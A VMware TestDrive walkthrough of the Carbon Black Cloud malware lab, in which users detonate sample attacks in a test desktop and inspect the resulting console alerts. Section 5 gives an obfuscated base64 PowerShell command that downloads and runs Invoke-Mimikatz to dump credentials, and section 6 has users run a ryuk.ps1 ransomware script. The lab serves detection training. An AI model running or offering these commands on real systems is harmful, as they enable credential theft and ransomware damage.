TestDrive

VMware Carbon Black Cloud Malware Lab

Updated on

About This Experience

In this walkthrough you will get hands on with VMware Carbon Black Cloud. The Malware Lab contains actual attacks that you can run live in a test environment to see how prevention and visibility work in the Carbon Black Cloud console. 

What is VMware Carbon Black Cloud?

VMware Carbon Black Cloud is a cloud-native endpoint protection platform (EPP) that secures endpoints using a single, lightweight sensor and easy-to-use console.

Endpoint Standard offers a next-generation antivirus (NGAV) and endpoint detection and response (EDR) solution that protects against modern cyberattacks. The solution applies behavioral analytics to endpoint events and gives real-time visibility into threats like malware, fileless and living-off-the-land attacks.

Audit and Remediation provides a real-time assessment and remediation solution that gives teams faster, easier access to audit and health status across their organization. Real-time query capabilities enables teams to harden their systems and improve security posture.

Vulnerability Management leverages the existing lightweight sensor on endpoints and workloads to provide inventory data to Kenna Security for assessment. Directly within the Carbon Black Cloud console, analysts gain visibility into the vulnerabilities present on their endpoints and workloads in real time, without having to take on the overhead of a manual scan.

Enterprise EDR is an advanced threat hunting and incident response solution delivering continuous visibility for top security operations centers (SOCs) and incident response (IR) teams.

For more security best practices for Carbon Black Cloud please visit VMware Carbon Black TechZone here

Before you Begin

In order to complete this product walkthrough please make sure you have the following:

  • A valid account in the VMware TestDrive environment, sign up here if you do not have one.
  • TCP & UDP ports 80, 443, 8443; and if using PCoIP, both TCP & UDP 4172
  • A Horizon Client installed on your machine.
Section 1: Accessing the Environment

Open a web browser of your choice and navigate to LOG IN.

If you don't have an account yet, please reference the instructions found here.

Enter your TestDrive Username and Password and select ENTER.

When logged in to the TestDrive Portal, click on the Networking and Security tab.

Next, locate the VMware Carbon Black Endpoint product and click LAUNCH.

A new tab will open with Workspace ONE. Enter your TestDrive username and password, then hit Sign in.

Next, under Apps search for the Carbon Black Malware desktop and click on it to open the virtual machine.

You will find yourself on the Carbon Black Malware desktop. At this point you can begin the walkthrough steps in Section 2.

Carbon Black Cloud Background

Section 2: Walkthrough of VMware Carbon Black Cloud

The following section details the basics of accessing and using the Carbon Black Cloud. If you are familiar with Carbon Black Cloud you may skip the informational section. For a more in-depth walkthrough of the solution please see the “Endpoint Standard Hands-On Lab” located here: https://labs.hol.vmware.com/HOL/catalogs/lab/10096 

2.1 Accessing VMware Carbon Black Cloud

The Carbon Black Cloud console is web-based with one lightweight agent deployed to endpoints. The single agent allows for consolidation across AV, EDR, vulnerability, and security auditing technologies. No stand-up or maintenance of on-premises servers is required – offloading work from infrastructure and security teams. 

The console is accessed through a supported web browser: 

  • Windows: Chrome, Edge, Firefox 
  • MacOS: Chrome, Firefox, Safari 

Login to Carbon Black Cloud: 

  • Click the Carbon Black Malware Chrome icon
  • Type into the browser URL: https://defense-prod05.conferdeploy.net/
  • Username/e-mail: (listed in text file Carbon_Black_Cloud_Malware_Credentials.txt on the Carbon Black Malware desktop)  
  • Password: (listed in text file Carbon_Black_Cloud_Malware_Credentials.txt on the Carbon Black Malware desktop)

For purposes of this lab use Google Chrome to access the console. On login you will land on the CBC Dashboard. The main navigation menu is located on the left-hand side of the web console.  

CBC Dashboard | The dashboard gives a high-level overview of your environment with interactive widgets.

Before continuing you must switch orgs. The console strutures orgs depending on what feature set the user is looking at. For this experience with Carbon Black Endpoint Standard, navigate to the correct org by clicking the org name in the upper right. Then, click Switch Orgs.

Finally, select vmweng-standard.com from the dropdown and click select.

2.2 Alert Walkthrough

The Alerts page displays events of known threats or potential risks to your environment. To navigate to the Alerts page, select Alerts from the left-hand menu. 

Regularly review alerts to determine whether action needs to be taken or policies need to be modified. Alert notifications can be setup to email designated administrators when an alert occurs. Alerts can also be forwarded to a SIEM with the Carbon Black open API.

An alert will show: 

Status – Run status and policy status

First Seen – What time the events of alerts first occurred 

Reason – High level overview of the reason the alert occurred 

Severity – Numerical score from 1 to 10, 1 being lowest severity and 10 being highest 

Target Value – Acts as a multiplier for the severity score; target value can be assigned per policy group 

Device – Device that was alerted upon 

Actions –  Where an admin can take next potential actions such as investigate or view more details

Alert severity indicates the relative importance of an alert and acts as a prioritization assistant (one being lowest severity and ten being highest, mission critical). The following describe the ranges of severity:  

  • Severity 1-2: Activities such as port scans, malware drops, changes to system configuration files, persistence, etc. 
  • Severity 3-5: Activities such as malware running, generic virus-like behavior, monitoring user input, potential memory scraping, password theft, etc. 
  • Severity 6-10: Activities such as reverse command shells, process hollowing, ransomware, destructive malware, hidden processes and tool sets, applications that talk on the network but should not, etc. 

Filters are available on the left-hand side. Those can be used to drill down on alerts of interest by device, severity or file reputation e.g. 

To view additional information about an alert, click the arrow on the right to expand. The Alert Details show additional information about the processes, behaviors (or TTP’s – Tactics, Techniques, and Procedures), recommended steps for remediation, and notes/tags. 

CBC Alerts – Alert Details | Alert Details show additional information for further investigation into malicious/suspicious events. 

The Techniques section in Alert Details under Process, shows what behaviors, or TTPs (tactics, techniques, and procedures), were exhibited by the specified process. TTP’s are color coded, with red being a higher severity. TTP’s can be clicked into to view further information about the TTP and what it means. Carbon Black also correlates MITRE techniques to TTPs which are also displayed. Clicking a MITRE technique will take you directly to the MITRE page correlating to that technique. 

An alert visualization is generated for all alerts that occur. The visualization provides an easy to understand and digest view of what occurred during the attack sequence. To view an alert visualization, called the Alert Triage, click the tree icon in the upper right of alert details.

CBC Alerts | You can quickly pivot to the Alert Triage (tree icon), Investigate, or additional actions with the linked buttons.

The Alert Triage displays a tree containing events associated with the alert. A node represents an individual process or event. You can click a node to view additional process details on the right including reputation, TTPs (behaviors), command line used, and other information. The Alert Triage provides actionable information about the events that occurred during an alert: including where prevention was applied, source, and what the attacker may have been attempting.

A red exclamation mark on an individual event indicates that a policy was applied.

CBC Alerts – Alert Triage| Alert Triage shows alert in visual format; each node can be clicked into for more details about the selected process on the right.

The alert can be viewed in a log level format as well for more rich, process level behavioral information such as: command line, parent command line, if the device was on or off-premise at the time of the event, etc. These logs can be viewed in the Observations section, which you can find by scrolling down to the bottom of the Alert Triage page.  

CBC Alerts – Observations| Click the arrow next to an enriched event to view additional details. 

2.3 Policies Walkthrough

The CBC next-gen AV and EDR solution offers flexible Policies. Policies determine preventative rules as well as sensor functionality. Carbon Black gives administrators control and visibility into how prevention works in their environment. 

Each endpoint with a sensor installed will belong to a single policy. A policy defines how the sensor should behave on the endpoint, blocking/preventative rules, exclusions and allowances, and other configurations. 

In this lab we have put the Horizon TestDrive endpoints into the ‘Virtual Desktops’ policy group that copies settings from 'Standard' with some adjustments for VDI. The Standard policy group comes OOTB (alongside the Monitored and Advanced policies) and is meant to act as a day-one, production viable policy that gives additional preventative layers beyond a traditional AV. 

Click Enforce -> Policies on the left menu bar to view more information on the policy rules. On the ‘Prevention’ tab you can see rules associated with the selected policy group. 

Notice 'Core Prevention' rules which are crafted by the Carbon Black Threat Analysis Unit and which protect assets from a variety of high-impact attacks without having to change any policy configurations.

CBC Policies – Prevention Rules| Carbon Black offers OOTB production viable policies for day-one use while giving admins visibility and customizability into what is prevented and allowed.

Review the rules within the Standard policy before proceeding. In this lab the attacks ran will be prevented by rules within this policy, including rules for: 

  • Process: Known Malware
  • Process: Not Listed, Performs ransomware-like behavior 

Attack Lab Detonation

Section 3: Attack Approach

Our prevention is enabled through context and controls to disrupt and defend - it doesn’t matter if its ransomware or a zero day. 

Most adversarial threats (like ransomware) will follow a multi-staged attack approach. This begins with initial access, or through the cognitive attack loop phases reconnaissance and infiltration. During this phase attackers select a target and gather relevant information such as vulnerabilities, network topology, employee information, and so forth. Information gathered during this stage can then be used to infiltrate, or deliver, an attack. 

Once access is attained, adversaries move into the next phases of the attack sequence: maintain and manipulate. The attacker is using their initial access to continue to improve their position and move forward with their goals. 

During the final attack phases of execute and exfiltrate the attacker is executing their end goals. For example, an attacker at this stage may be encrypting your data, holding it for ransomware, or even exfiltrating sensitive data for malicious use. Whatever the attackers end goal is – we don’t want them to be successful.

In this lab you will be able to detonate different attack scenarios – each of which align with the previous attack approach stages. Before beginning any of the simulations make sure that you understand the Carbon Black Cloud through either prior use or section one of the lab. 

Before continuing make sure you are in the right org. The TestDrive Carbon Black console is separated based on experience. Navigate to the correct org by clicking the org name in the upper right. Then, click Switch Orgs.

Finally, select vmweng-standard.com from the dropdown and click select.

Section 4: Spearphishing/Known Malware - Infiltrate

Spearphishing is a common technique to infiltrate and gain initial access to an environment. Much of the data attackers use to make an email seem legitimate is available online – and even posted by companies themselves. Public information such as employees, current projects, organizational charts, and so forth can be used to make a message appear legitimate to even discerning employees. 

4: Attack Instructions
4.1 Run the Attack

A phishing email is included in this lab. Let’s launch the message, taking the place of a well-meaning employee who has assumed the email’s legitimacy.  

  1. Open spearphishing email on Desktop "Please review ASAP.msg” 

Note: If 'Welcome to Outlook' message appears click 'Next'. Then select 'No' when prompted to setup Outlook with an email account. Finally click the checkbox next to 'Use Outlook without email account' and click 'Finish'.

The attachment contains known malicious signatures.  

  1. Double click the .docm attachment to open 

Note: If prompted to run in safe mode select 'no'

Notice that prevention is applied by the popup in the lower right-hand of the screen. Carbon Black administrators can choose to have popup messages when prevention is applied on the endpoint and even customize the message the popup contains. 

4.2 Investigate

We will now pivot to the Carbon Black Console to review information about the attack we just ran. If you are not currently on the Alerts page, navigate to Alerts using the left-hand menu. 

It is recommended to filter by endpoint to view alerts associated with the attacks run in your lab. Click the Carbon Black Malware Chrome shortcut on the Desktop to automatically be navigated to the Alerts page filtered by the appropriate tags.

You can find your device name by going to Windows Start -> Settings -> System -> About.

  1. Click to expand the Device filter on the left 
  2. Click the device name associated with your VDI instance

If you cannot find your alert or device, use the filter on the top right corner of the alerts page and change the drop down to 1 day.

If you do not see your alert appearing, refresh the console URL page and check again. The console URL, NOT the horizon URL.

In the spearphishing alert Carbon Black applied prevention due to the reputation of the file.  

  1. Click the chevron to view alert details 
  2. Click the tree icon to go to the alert triage 

Any nodes that have a red shield icon an exclamation mark indicate that prevention was applied. Prevention actions are Deny (process not killed, prevents execution of behavior) or Terminate (kills process). Prevention actions can be configured in the policies. 

  1. Click the trickbot.docm node 

The prevention occurred due to reputation – Carbon Black Cloud assigns reputation based on known bad signatures, company assigned reputation, and cloud analytics. Note that for trickbot.docm the reputation is known malware and due to this prevention was applied. 

Section 5: Non-Malware/Trusted Tools - Maintain and Manipulate

After achieving initial access attackers attempt to move forward with their goals. One of the best ways of doing that is scraping credentials or abusing other existing binaries in the environment – like PowerShell. A trusted program like PowerShell is not blocked by traditional signature-based AV. It is commonly used across Windows environments for legitimate purpose – but attackers can leverage it for malicious intent as well. 

In this attack we will leverage PowerShell to attempt to perform malicious actions. Unlike the last alert we ran, PowerShell will not have a known malware reputation. Instead, Carbon Black applies prevention by looking at the behaviors that applications exhibit as well as recognizing that PowerShell is trying to execute content that contains malware (Mimikatz). Behavioral based rules can be specified to apply prevention to even trusted tools if they are being used maliciously.  

5: Attack Instructions
5.1 Run the Attack

We will use PowerShell to attempt to run an attack leveraging Mimikatz. The command has been encoded for further obfuscation.

  1. Run PowerShell with administrative privileges (right click to run as admin)  
  1. Run command Set-ExecutionPolicy Unrestricted 
  2. Run command below
powershell.exe -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAAIgBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBQAG8AdwBlAHIAUwBoAGUAbABsAE0AYQBmAGkAYQAvAFAAbwB3AGUAcgBTAHAAbABvAGkAdAAvAG0AYQBzAHQAZQByAC8ARQB4AGYAaQBsAHQAcgBhAHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAuAHAAcwAxACcAKQA7ACAASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoAIAAtAEQAdQBtAHAAQwByAGUAZABzACIA
Click to copy

Carbon Black applies prevention killing off the malicious PowerShell instance. PowerShell attempts to leverage Mimikatz to scrape credentials. We can recognize this malicious behavior and kill off the malicious instance while preventing the malicious actions. Note that PowerShell was allowed to run as expected until it began behaving maliciously. 

5.2 Investigate

We will now pivot to the Carbon Black Console to review information about the attack we just ran.

If you are not currently on the Alerts page, navigate to Alerts using the left-hand menu. 

4. Navigate to the new alert (severity 8) and click the chevron to expand alert details 

The reputation for PowerShell is trusted whitelist – which is expected; in most cases we expect PowerShell to run normally without prevention as it is used in many everyday IT activities. The power of Carbon Black is to define the behaviors that we want to prevent while allowing PowerShell to run when it should. 

If you do not see your alert appearing, refresh the console URL page and check again. The console URL, NOT the horizon URL.

  1. Click the tree icon to go to the alert triage 
  1. Click the first PowerShell.exe node 

In this attack PowerShell attempted to run encoded commands. Carbon Black automatically decodes encoded PowerShell scripts – easing time to remediation and enhancing investigative ability. 

  1. Click the CMD link in the process details pane on the right-hand side of the screen 

We can now see the formatted PowerShell script. In this case PowerShell downloads and attempts to invoke Mimikatz before being prevented by Carbon Black. The malicious actor would attempt to use Mimikatz to grab credentials for further attack actions.

  1. Click the 'X' to close out of the CMD Line screen
  2. Click the second PowerShell.exe node

Note the red shield icon indicating that Carbon Black applied prevention. Additional process details including behaviors exhibited by the specific instance of PowerShell can be viewed on the right.

Section 6: Ransomware - Execute and Exfiltrate

One of the biggest concerns we see in the security space is ransomware; for good reason because of how costly and destructive this type of attack can be. Ransomware such as RYUK and Conti will attempt to distribute across the network and encrypt/destroy data for maximum impact. In recent years ransomware has shown a drastic increase in both commonality and the level of destruction on users' systems. This stage is often detrimental. 

6: Attack Instructions
6.1 Run the Attack

Embedded in PowerShell we have stripped the ransomware signature from this binary in order to highlight behavioral based ransomware protection. This imitates the situation of a zero-day ransomware attack

  1. Run PowerShell with administrative privileges (right click to run as admin) 

2. Change directories with command cd 'C:\Users\Public\Desktop\Ransomware Artifacts\'

3. Run command Set-ExecutionPolicy Unrestricted 

4. Run command .\ryuk.ps1 

Notice that prevention is applied. When we visit the Carbon Black console, we can dig further into how we saw ransomware-like behaviors to prevent this modified piece of ransomware.

6.2 Investigate

We will now pivot to the Carbon Black Console to review information about the attack we just ran.

 

If you are not currently on the Alerts page, navigate to Alerts using the left-hand menu. 

Through our native AMSI scripting integration Carbon Black Cloud is uniquely able to analyze and prevent scripts prior to allowing the binary to execute in your environment, ultimately reducing your overall risk. Even while applying prevention administrators can still get visibility into what an attacker/attack was attempting to do.

Click into the alert triage of the first alert listed for more details. Check the time stamp to understand which alert is the one you just triggered.

 

Scrolling down to the Observations we can expand details of events. We can see the associated ransomware-like behaviors.

Beyond AMSI scripting integration Carbon Black has robust ransomware preventative capabilities. Carbon Black NGAV/EDR can detect and prevent upon behaviors associated with ransomware. Those behaviors include detecting/preventing access of the master boot record, modification of volume shadow copies, and the encryption of data. Additionally, alongside the Carbon Black agent we deploy canary/decoy files to track and kill processes attempting to encrypt, modify or delete our files. We can apply prevention to anything exhibiting those behaviors, even something that is not listed or never seen before (like a zero-day). 

Additional Resources

Carbon Black Endpoint Standard NGAV/EDR

Previous Article Securing Modern Applications with CBC Container Security
Next Article Introduction to Carbon Black Workload